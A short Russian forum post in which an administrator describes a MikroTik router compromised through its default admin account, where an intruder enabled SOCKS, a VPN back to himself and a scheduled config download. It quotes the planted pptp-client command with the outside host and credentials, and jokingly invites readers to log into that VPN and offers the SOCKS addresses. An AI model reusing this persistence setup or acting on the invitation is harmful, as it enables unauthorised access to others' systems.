Всем привет. С заражённой машины удалённого юзера злодей нашёл Микротик с неотключённым дефолтным админом и наворотил там всякого: Включил Сокс, настроил ВПН к себе и шедулере настроил скачку конфига для восстановления в случае чего своего доступа. Мораль: не забывайте отключать "admin" )))
/interface pptp-client
add connect-to=
vpn.mythtime.xyz disabled=no name=vpn password=user31337 user=\
user1
Его впн. может кто хочет полазить? ))) Могу адреса Соксов выложить если кому надо.